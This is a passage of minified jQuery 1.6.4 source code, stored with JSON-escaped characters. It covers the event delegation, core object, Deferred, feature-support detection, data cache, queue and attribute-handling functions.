s=r.live.slice(0);for(i=0;i\u003cs.length;i++)g=s[i],g.origType.replace(w,\"\")===a.type?q.push(g.selector):s.splice(i--,1);e=f(a.target).closest(q,a.currentTarget);for(j=0,k=e.length;j\u003ck;j++){m=e[j];for(i=0;i\u003cs.length;i++){g=s[i];if(m.selector===g.selector\u0026\u0026(!n||n.test(g.namespace))\u0026\u0026!m.elem.disabled){h=m.elem,d=null;if(g.preType===\"mouseenter\"||g.preType===\"mouseleave\")a.type=g.preType,d=f(a.relatedTarget).closest(g.selector)[0],d\u0026\u0026f.contains(h,d)\u0026\u0026(d=h);(!d||d!==h)\u0026\u0026p.push({elem:h,handleObj:g,level:m.level})}}}for(j=0,k=p.length;j\u003ck;j++){e=p[j];if(c\u0026\u0026e.level\u003ec)break;a.currentTarget=e.elem,a.data=e.handleObj.data,a.handleObj=e.handleObj,o=e.handleObj.origHandler.apply(e.elem,arguments);if(o===!1||a.isPropagationStopped()){c=e.level,o===!1\u0026\u0026(b=!1);if(a.isImmediatePropagationStopped())break}}return b}}function J(a,c,d){var e=f.extend({},d[0]);e.type=a,e.originalEvent={},e.liveFired=b,f.event.handle.call(c,e),e.isDefaultPrevented()\u0026\u0026d[0].preventDefault()}function D(){return!0}function C(){return!1}function m(a,c,d){var e=c+\"defer\",g=c+\"queue\",h=c+\"mark\",i=f.data(a,e,b,!0);i\u0026\u0026(d===\"queue\"||!f.data(a,g,b,!0))\u0026\u0026(d===\"mark\"||!f.data(a,h,b,!0))\u0026\u0026setTimeout(function(){!f.data(a,g,b,!0)\u0026\u0026!f.data(a,h,b,!0)\u0026\u0026(f.removeData(a,e,!0),i.resolve())},0)}function l(a){for(var b in a)if(b!==\"toJSON\")return!1;return!0}function k(a,c,d){if(d===b\u0026\u0026a.nodeType===1){var e=\"data-\"+c.replace(j,\"-$1\").toLowerCase();d=a.getAttribute(e);if(typeof d==\"string\"){try{d=d===\"true\"?!0:d===\"false\"?!1:d===\"null\"?null:f.isNaN(d)?i.test(d)?f.parseJSON(d):d:parseFloat(d)}catch(g){}f.data(a,c,d)}else d=b}return d}var c=a.document,d=a.navigator,e=a.location,f=function(){function K(){if(!e.isReady){try{c.documentElement.doScroll(\"left\")}catch(a){setTimeout(K,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#\u003c]*(\u003c[\\w\\W]+\u003e)[^\u003e]*$|#([\\w\\-]*)$)/,j=/\\S/,k=/^\\s+/,l=/\\s+$/,m=/\\d/,n=/^\u003c(\\w+)\\s*\\/?\u003e(?:\u003c\\/\\1\u003e)?$/,o=/^[\\],:{}\\s]*$/,p=/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g,q=/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,r=/(?:^|:|,)(?:\\s*\\[)+/g,s=/(webkit)[ \\/]([\\w.]+)/,t=/(opera)(?:.*version)?[ \\/]([\\w.]+)/,u=/(msie) ([\\w.]+)/,v=/(mozilla)(?:.*? rv:([\\w.]+))?/,w=/-([a-z]|[0-9])/ig,x=/^-ms-/,y=function(a,b){return(b+\"\").toUpperCase()},z=d.userAgent,A,B,C,D=Object.prototype.toString,E=Object.prototype.hasOwnProperty,F=Array.prototype.push,G=Array.prototype.slice,H=String.prototype.trim,I=Array.prototype.indexOf,J={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a===\"body\"\u0026\u0026!d\u0026\u0026c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a==\"string\"){a.charAt(0)!==\"\u003c\"||a.charAt(a.length-1)!==\"\u003e\"||a.length\u003c3?g=i.exec(a):g=[null,a,null];if(g\u0026\u0026(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=n.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h\u0026\u0026h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b\u0026\u0026(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:\"\",jquery:\"1.6.4\",length:0,size:function(){return this.length},toArray:function(){return G.call(this,0)},get:function(a){return a==null?this.toArray():a\u003c0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?F.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b===\"find\"?d.selector=this.selector+(this.selector?\" \":\"\")+c:b\u0026\u0026(d.selector=this.selector+\".\"+b+\"(\"+c+\")\");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),B.done(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(G.apply(this,arguments),\"slice\",G.call(arguments).join(\",\"))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:F,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i==\"boolean\"\u0026\u0026(l=i,i=arguments[1]||{},j=2),typeof i!=\"object\"\u0026\u0026!e.isFunction(i)\u0026\u0026(i={}),k===j\u0026\u0026(i=this,--j);for(;j\u003ck;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l\u0026\u0026f\u0026\u0026(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d\u0026\u0026e.isArray(d)?d:[]):h=d\u0026\u0026e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b\u0026\u0026(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e\u0026\u0026(a.$=g),b\u0026\u0026a.jQuery===e\u0026\u0026(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0\u0026\u0026!--e.readyWait||a!==!0\u0026\u0026!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0\u0026\u0026--e.readyWait\u003e0)return;B.resolveWith(c,[e]),e.fn.trigger\u0026\u0026e(c).trigger(\"ready\").unbind(\"ready\")}},bindReady:function(){if(!B){B=e._Deferred();if(c.readyState===\"complete\")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener(\"DOMContentLoaded\",C,!1),a.addEventListener(\"load\",e.ready,!1);else if(c.attachEvent){c.attachEvent(\"onreadystatechange\",C),a.attachEvent(\"onload\",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll\u0026\u0026b\u0026\u0026K()}}},isFunction:function(a){return e.type(a)===\"function\"},isArray:Array.isArray||function(a){return e.type(a)===\"array\"},isWindow:function(a){return a\u0026\u0026typeof a==\"object\"\u0026\u0026\"setInterval\"in a},isNaN:function(a){return a==null||!m.test(a)||isNaN(a)},type:function(a){return a==null?String(a):J[D.call(a)]||\"object\"},isPlainObject:function(a){if(!a||e.type(a)!==\"object\"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor\u0026\u0026!E.call(a,\"constructor\")\u0026\u0026!E.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}var d;for(d in a);return d===b||E.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw a},parseJSON:function(b){if(typeof b!=\"string\"||!b)return null;b=e.trim(b);if(a.JSON\u0026\u0026a.JSON.parse)return a.JSON.parse(b);if(o.test(b.replace(p,\"@\").replace(q,\"]\").replace(r,\"\")))return(new Function(\"return \"+b))();e.error(\"Invalid JSON: \"+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,\"text/xml\")):(d=new ActiveXObject(\"Microsoft.XMLDOM\"),d.async=\"false\",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName(\"parsererror\").length)\u0026\u0026e.error(\"Invalid XML: \"+c);return d},noop:function(){},globalEval:function(b){b\u0026\u0026j.test(b)\u0026\u0026(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(x,\"ms-\").replace(w,y)},nodeName:function(a,b){return a.nodeName\u0026\u0026a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g\u003ch;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g\u003ch;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:H?function(a){return a==null?\"\":H.call(a)}:function(a){return a==null?\"\":(a+\"\").replace(k,\"\").replace(l,\"\")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d===\"string\"||d===\"function\"||d===\"regexp\"||e.isWindow(a)?F.call(c,a):e.merge(c,a)}return c},inArray:function(a,b){if(!b)return-1;if(I)return I.call(b,a);for(var c=0,d=b.length;c\u003cd;c++)if(b[c]===a)return c;return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length==\"number\")for(var f=c.length;e\u003cf;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f\u003cg;f++)e=!!b(a[f],f),c!==e\u0026\u0026d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b\u0026\u0026typeof j==\"number\"\u0026\u0026(j\u003e0\u0026\u0026a[0]\u0026\u0026a[j-1]||j===0||e.isArray(a));if(k)for(;i\u003cj;i++)f=c(a[i],i,d),f!=null\u0026\u0026(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null\u0026\u0026(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c==\"string\"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=G.call(arguments,2),g=function(){return a.apply(c,f.concat(G.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h){var i=a.length;if(typeof c==\"object\"){for(var j in c)e.access(a,j,c[j],f,g,d);return a}if(d!==b){f=!h\u0026\u0026f\u0026\u0026e.isFunction(d);for(var k=0;k\u003ci;k++)g(a[k],c,f?d.call(a[k],k,g(a[k],c)):d,h);return a}return i?g(a[0],c):b},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=s.exec(a)||t.exec(a)||u.exec(a)||a.indexOf(\"compatible\")\u003c0\u0026\u0026v.exec(a)||[];return{browser:b[1]||\"\",version:b[2]||\"0\"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f\u0026\u0026f instanceof e\u0026\u0026!(f instanceof a)\u0026\u0026(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each(\"Boolean Number String Function Array Date RegExp Object\".split(\" \"),function(a,b){J[\"[object \"+b+\"]\"]=b.toLowerCase()}),A=e.uaMatch(z),A.browser\u0026\u0026(e.browser[A.browser]=!0,e.browser.version=A.version),e.browser.webkit\u0026\u0026(e.browser.safari=!0),j.test(\" \")\u0026\u0026(k=/^[\\s\\xA0]+/,l=/[\\s\\xA0]+$/),h=e(c),c.addEventListener?C=function(){c.removeEventListener(\"DOMContentLoaded\",C,!1),e.ready()}:c.attachEvent\u0026\u0026(C=function(){c.readyState===\"complete\"\u0026\u0026(c.detachEvent(\"onreadystatechange\",C),e.ready())});return e}(),g=\"done fail isResolved isRejected promise then always pipe\".split(\" \"),h=[].slice;f.extend({_Deferred:function(){var a=[],b,c,d,e={done:function(){if(!d){var c=arguments,g,h,i,j,k;b\u0026\u0026(k=b,b=0);for(g=0,h=c.length;g\u003ch;g++)i=c[g],j=f.type(i),j===\"array\"?e.done.apply(e,i):j===\"function\"\u0026\u0026a.push(i);k\u0026\u0026e.resolveWith(k[0],k[1])}return this},resolveWith:function(e,f){if(!d\u0026\u0026!b\u0026\u0026!c){f=f||[],c=1;try{while(a[0])a.shift().apply(e,f)}finally{b=[e,f],c=0}}return this},resolve:function(){e.resolveWith(this,arguments);return this},isResolved:function(){return!!c||!!b},cancel:function(){d=1,a=[];return this}};return e},Deferred:function(a){var b=f._Deferred(),c=f._Deferred(),d;f.extend(b,{then:function(a,c){b.done(a).fail(c);return this},always:function(){return b.done.apply(b,arguments).fail.apply(this,arguments)},fail:c.done,rejectWith:c.resolveWith,reject:c.resolve,isRejected:c.isResolved,pipe:function(a,c){return f.Deferred(function(d){f.each({done:[a,\"resolve\"],fail:[c,\"reject\"]},function(a,c){var e=c[0],g=c[1],h;f.isFunction(e)?b[a](function(){h=e.apply(this,arguments),h\u0026\u0026f.isFunction(h.promise)?h.promise().then(d.resolve,d.reject):d[g+\"With\"](this===b?d:this,[h])}):b[a](d[g])})}).promise()},promise:function(a){if(a==null){if(d)return d;d=a={}}var c=g.length;while(c--)a[g[c]]=b[g[c]];return a}}),b.done(c.cancel).fail(b.cancel),delete b.cancel,a\u0026\u0026a.call(b,b);return b},when:function(a){function i(a){return function(c){b[a]=arguments.length\u003e1?h.call(arguments,0):c,--e||g.resolveWith(g,h.call(b,0))}}var b=arguments,c=0,d=b.length,e=d,g=d\u003c=1\u0026\u0026a\u0026\u0026f.isFunction(a.promise)?a:f.Deferred();if(d\u003e1){for(;c\u003cd;c++)b[c]\u0026\u0026f.isFunction(b[c].promise)?b[c].promise().then(i(c),g.reject):--e;e||g.resolveWith(g,b)}else g!==a\u0026\u0026g.resolveWith(g,d?[a]:[]);return g.promise()}}),f.support=function(){var a=c.createElement(\"div\"),b=c.documentElement,d,e,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u;a.setAttribute(\"className\",\"t\"),a.innerHTML=\" \u003clink/\u003e\u003ctable\u003e\u003c/table\u003e\u003ca href='/a' style='top:1px;float:left;opacity:.55;'\u003ea\u003c/a\u003e\u003cinput type='checkbox'/\u003e\",d=a.getElementsByTagName(\"*\"),e=a.getElementsByTagName(\"a\")[0];if(!d||!d.length||!e)return{};g=c.createElement(\"select\"),h=g.appendChild(c.createElement(\"option\")),i=a.getElementsByTagName(\"input\")[0],k={leadingWhitespace:a.firstChild.nodeType===3,tbody:!a.getElementsByTagName(\"tbody\").length,htmlSerialize:!!a.getElementsByTagName(\"link\").length,style:/top/.test(e.getAttribute(\"style\")),hrefNormalized:e.getAttribute(\"href\")===\"/a\",opacity:/^0.55$/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value===\"on\",optSelected:h.selected,getSetAttribute:a.className!==\"t\",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,k.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,k.optDisabled=!h.disabled;try{delete a.test}catch(v){k.deleteExpando=!1}!a.addEventListener\u0026\u0026a.attachEvent\u0026\u0026a.fireEvent\u0026\u0026(a.attachEvent(\"onclick\",function(){k.noCloneEvent=!1}),a.cloneNode(!0).fireEvent(\"onclick\")),i=c.createElement(\"input\"),i.value=\"t\",i.setAttribute(\"type\",\"radio\"),k.radioValue=i.value===\"t\",i.setAttribute(\"checked\",\"checked\"),a.appendChild(i),l=c.createDocumentFragment(),l.appendChild(a.firstChild),k.checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,a.innerHTML=\"\",a.style.width=a.style.paddingLeft=\"1px\",m=c.getElementsByTagName(\"body\")[0],o=c.createElement(m?\"div\":\"body\"),p={visibility:\"hidden\",width:0,height:0,border:0,margin:0,background:\"none\"},m\u0026\u0026f.extend(p,{position:\"absolute\",left:\"-1000px\",top:\"-1000px\"});for(t in p)o.style[t]=p[t];o.appendChild(a),n=m||b,n.insertBefore(o,n.firstChild),k.appendChecked=i.checked,k.boxModel=a.offsetWidth===2,\"zoom\"in a.style\u0026\u0026(a.style.display=\"inline\",a.style.zoom=1,k.inlineBlockNeedsLayout=a.offsetWidth===2,a.style.display=\"\",a.innerHTML=\"\u003cdiv style='width:4px;'\u003e\u003c/div\u003e\",k.shrinkWrapBlocks=a.offsetWidth!==2),a.innerHTML=\"\u003ctable\u003e\u003ctr\u003e\u003ctd style='padding:0;border:0;display:none'\u003e\u003c/td\u003e\u003ctd\u003et\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",q=a.getElementsByTagName(\"td\"),u=q[0].offsetHeight===0,q[0].style.display=\"\",q[1].style.display=\"none\",k.reliableHiddenOffsets=u\u0026\u0026q[0].offsetHeight===0,a.innerHTML=\"\",c.defaultView\u0026\u0026c.defaultView.getComputedStyle\u0026\u0026(j=c.createElement(\"div\"),j.style.width=\"0\",j.style.marginRight=\"0\",a.appendChild(j),k.reliableMarginRight=(parseInt((c.defaultView.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0),o.innerHTML=\"\",n.removeChild(o);if(a.attachEvent)for(t in{submit:1,change:1,focusin:1})s=\"on\"+t,u=s in a,u||(a.setAttribute(s,\"return;\"),u=typeof a[s]==\"function\"),k[t+\"Bubbles\"]=u;o=l=g=h=m=j=a=i=null;return k}(),f.boxModel=f.support.boxModel;var i=/^(?:\\{.*\\}|\\[.*\\])$/,j=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:\"jQuery\"+(f.fn.jquery+Math.random()).replace(/\\D/g,\"\"),noData:{embed:!0,object:\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a\u0026\u0026!l(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i=f.expando,j=typeof c==\"string\",k=a.nodeType,l=k?f.cache:a,m=k?a[f.expando]:a[f.expando]\u0026\u0026f.expando;if((!m||e\u0026\u0026m\u0026\u0026l[m]\u0026\u0026!l[m][i])\u0026\u0026j\u0026\u0026d===b)return;m||(k?a[f.expando]=m=++f.uuid:m=f.expando),l[m]||(l[m]={},k||(l[m].toJSON=f.noop));if(typeof c==\"object\"||typeof c==\"function\")e?l[m][i]=f.extend(l[m][i],c):l[m]=f.extend(l[m],c);g=l[m],e\u0026\u0026(g[i]||(g[i]={}),g=g[i]),d!==b\u0026\u0026(g[f.camelCase(c)]=d);if(c===\"events\"\u0026\u0026!g[c])return g[i]\u0026\u0026g[i].events;j?(h=g[c],h==null\u0026\u0026(h=g[f.camelCase(c)])):h=g;return h}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e=f.expando,g=a.nodeType,h=g?f.cache:a,i=g?a[f.expando]:f.expando;if(!h[i])return;if(b){d=c?h[i][e]:h[i];if(d){d[b]||(b=f.camelCase(b)),delete d[b];if(!l(d))return}}if(c){delete h[i][e];if(!l(h[i]))return}var j=h[i][e];f.support.deleteExpando||!h.setInterval?delete h[i]:h[i]=null,j?(h[i]={},g||(h[i].toJSON=f.noop),h[i][e]=j):g\u0026\u0026(f.support.deleteExpando?delete a[f.expando]:a.removeAttribute?a.removeAttribute(f.expando):a[f.expando]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0\u0026\u0026a.getAttribute(\"classid\")===b}return!0}}),f.fn.extend({data:function(a,c){var d=null;if(typeof a==\"undefined\"){if(this.length){d=f.data(this[0]);if(this[0].nodeType===1){var e=this[0].attributes,g;for(var h=0,i=e.length;h\u003ci;h++)g=e[h].name,g.indexOf(\"data-\")===0\u0026\u0026(g=f.camelCase(g.substring(5)),k(this[0],g,d[g]))}}return d}if(typeof a==\"object\")return this.each(function(){f.data(this,a)});var j=a.split(\".\");j[1]=j[1]?\".\"+j[1]:\"\";if(c===b){d=this.triggerHandler(\"getData\"+j[1]+\"!\",[j[0]]),d===b\u0026\u0026this.length\u0026\u0026(d=f.data(this[0],a),d=k(this[0],a,d));return d===b\u0026\u0026j[1]?this.data(j[0]):d}return this.each(function(){var b=f(this),d=[j[0],c];b.triggerHandler(\"setData\"+j[1]+\"!\",d),f.data(this,a,c),b.triggerHandler(\"changeData\"+j[1]+\"!\",d)})},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,c){a\u0026\u0026(c=(c||\"fx\")+\"mark\",f.data(a,c,(f.data(a,c,b,!0)||0)+1,!0))},_unmark:function(a,c,d){a!==!0\u0026\u0026(d=c,c=a,a=!1);if(c){d=d||\"fx\";var e=d+\"mark\",g=a?0:(f.data(c,e,b,!0)||1)-1;g?f.data(c,e,g,!0):(f.removeData(c,e,!0),m(c,d,\"mark\"))}},queue:function(a,c,d){if(a){c=(c||\"fx\")+\"queue\";var e=f.data(a,c,b,!0);d\u0026\u0026(!e||f.isArray(d)?e=f.data(a,c,f.makeArray(d),!0):e.push(d));return e||[]}},dequeue:function(a,b){b=b||\"fx\";var c=f.queue(a,b),d=c.shift(),e;d===\"inprogress\"\u0026\u0026(d=c.shift()),d\u0026\u0026(b===\"fx\"\u0026\u0026c.unshift(\"inprogress\"),d.call(a,function(){f.dequeue(a,b)})),c.length||(f.removeData(a,b+\"queue\",!0),m(a,b,\"queue\"))}}),f.fn.extend({queue:function(a,c){typeof a!=\"string\"\u0026\u0026(c=a,a=\"fx\");if(c===b)return f.queue(this[0],a);return this.each(function(){var b=f.queue(this,a,c);a===\"fx\"\u0026\u0026b[0]!==\"inprogress\"\u0026\u0026f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||\"fx\";return this.queue(b,function(){var c=this;setTimeout(function(){f.dequeue(c,b)},a)})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!=\"string\"\u0026\u0026(c=a,a=b),a=a||\"fx\";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+\"defer\",j=a+\"queue\",k=a+\"mark\",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))\u0026\u0026f.data(e[g],i,f._Deferred(),!0))h++,l.done(m);m();return d.promise()}});var n=/[\\n\\t\\r]/g,o=/\\s+/,p=/\\r/g,q=/^(?:button|input)$/i,r=/^(?:button|input|object|select|textarea)$/i,s=/^a(?:rea)?$/i,t=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,u,v;f.fn.extend({attr:function(a,b){return f.access(this,a,b,!0,f.attr)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,a,b,!0,f.prop)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"){b=a.split(o);for(c=0,d=this.length;c\u003cd;c++){e=this[c];if(e.nodeType===1)if(!e.className\u0026\u0026b.length===1)e.className=a;else{g=\" \"+e.className+\" \";for(h=0,i=b.length;h\u003ci;h++)~g.indexOf(\" \"+b[h]+\" \")||(g+=b[h]+\" \");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"||a===b){c=(a||\"\").split(o);for(d=0,e=this.length;d\u003ce;d++){g=this[d];if(g.nodeType===1\u0026\u0026g.className)if(a){h=(\" \"+g.className+\" \").replace(n,\" \");for(i=0,j=c.length;i\u003cj;i++)h=h.replace(\" \"+c[i]+\" \",\" \");g.className=f.trim(h)}else g.className=\"\"}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b==\"boolean\";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c===\"string\"){var e,g=0,h=f(this),i=b,j=a.split(o);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?\"addClass\":\"removeClass\"](e)}else if(c===\"undefined\"||c===\"boolean\")this.className\u0026\u0026f._data(this,\"__className__\",this.className),this.className=this.className||a===!1?\"\":f._data(this,\"__className__\")||\"\"})},hasClass:function(a){var b=\" \"+a+\" \";for(var c=0,d=this.length;c\u003cd;c++)if(this[c].nodeType===1\u0026\u0026(\" \"+this[c].className+\" \").replace(n,\" \").indexOf(b)\u003e-1)return!0;return!1},val:function(a){var c,d,e=this[0];if(!arguments.length){if(e){c=f.valHooks[e.nodeName.toLowerCase()]||f.valHooks[e.type];if(c\u0026\u0026\"get\"in c\u0026\u0026(d=c.get(e,\"value\"))!==b)return d;d=e.value;return typeof d==\"string\"?d.replace(p,\"\"):d==null?\"\":d}return b}var g=f.isFunction(a);return this.each(function(d){var e=f(this),h;if(this.nodeType===1){g?h=a.call(this,d,e.val()):h=a,h==null?h=\"\":typeof h==\"number\"?h+=\"\":f.isArray(h)\u0026\u0026(h=f.map(h,function(a){return a==null?\"\":a+\"\"})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!(\"set\"in c)||c.set(this,h,\"value\")===b)this.value=h}})}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c=a.selectedIndex,d=[],e=a.options,g=a.type===\"select-one\";if(c\u003c0)return null;for(var h=g?c:0,i=g?c+1:e.length;h\u003ci;h++){var j=e[h];if(j.selected\u0026\u0026(f.support.optDisabled?!j.disabled:j.getAttribute(\"disabled\")===null)\u0026\u0026(!j.parentNode.disabled||!f.nodeName(j.parentNode,\"optgroup\"))){b=f(j).val();if(g)return b;d.push(b)}}if(g\u0026\u0026!d.length\u0026\u0026e.length)return f(e[c]).val();return d},set:function(a,b){var c=f.makeArray(b);f(a).find(\"option\").each(function(){this.selected=f.inArray(f(this).val(),c)\u003e=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attrFix:{tabindex:\"tabIndex\"},attr:function(a,c,d,e){var g=a.nodeType;if(!a||g===3||g===8||g===2)return b;if(e\u0026\u0026c in f.attrFn)return f(a)[c](d);if(!(\"getAttribute\"in a))return f.prop(a,c,d);var h,i,j=g!==1||!f.isXMLDoc(a);j\u0026\u0026(c=f.attrFix[c]||c,i=f.attrHooks[c],i||(t.test(c)?i=v:u\u0026\u0026(i=u)));if(d!==b){if(d===null){f.removeAttr(a,c);return b}if(i\u0026\u0026\"set\"in i\u0026\u0026j\u0026\u0026(h=i.set(a,d,c))!==b)return h;a.setAttribute(c,\"\"+d);return d}if(i\u0026\u0026\"get\"in i\u0026\u0026j\u0026\u0026(h=i.get(a,c))!==null)return h;h=a.getAttribute(c);return h===null?b:h},removeAttr:function(a,b){var c;a.nodeType===1\u0026\u0026(b=f.attrFix[b]||b,f.attr(a,b,\"\"),a.removeAttribute(b),t.test(b)\u0026\u0026(c=f.propFix[b]||b)in a\u0026\u0026(a[c]=!1))},attrHooks:{type:{set:function(a,b){if(q.test(a.nodeName)\u0026\u0026a.parentNode)f.error(\"type property can't be changed\");else if(!f.support.radioValue\u0026\u0026b===\"radio\"\u0026\u0026f.nodeName(a,\"input\")){var c=a.value;a.setAttribute(\"type\",b),c\u0026\u0026(a.value=c);return b}}},value:{get:function(a,b){if(u\u0026\u0026f.nodeName(a,\"button\"))return u.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(u\u0026\u0026f.nodeName(a,\"button\"))return u.set(a,b,c);a.value=b}}},propFix:{tabindex:\"tabIndex\",readonly:\"readOnly\",\"for\":\"htmlFor\",\"class\":\"className\",maxlength:\"maxLength\",cellspacing:\"cellSpacing\",cellpadding:\"cellPadding\",rowspan:\"rowSpan\",colspan:\"colSpan\",usemap:\"useMap\",frameborder:\"frameBorder\",contenteditable:\"contentEditable\"},prop:function(a,c,d){var e=a.nodeType;if(!a||e===3||e===8||e===2)return b;var g,h,i=e!==1||!f.isXMLDoc(a);i\u0026\u0026(c=f.propFix[c]||c,h=f.propHooks[c]);return d!==b?h\u0026\u0026\"set\"in h\u0026\u0026(g=h.set(a,d,c))!==b?g:a[c]=d:h\u0026\u0026\"get\"in h\u0026\u0026(g=h.get(a,c))!==null?g:a[c]},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode(\"tabindex\");return c\u0026\u0026c.specified?parseInt(c.value,10):r.test(a.nodeName)||s.test(a.nodeName)\u0026\u0026a.href?0:b}}}}),f.attrHooks.tabIndex=f.propHooks.tabIndex,v={get:function(a,c){var d;return 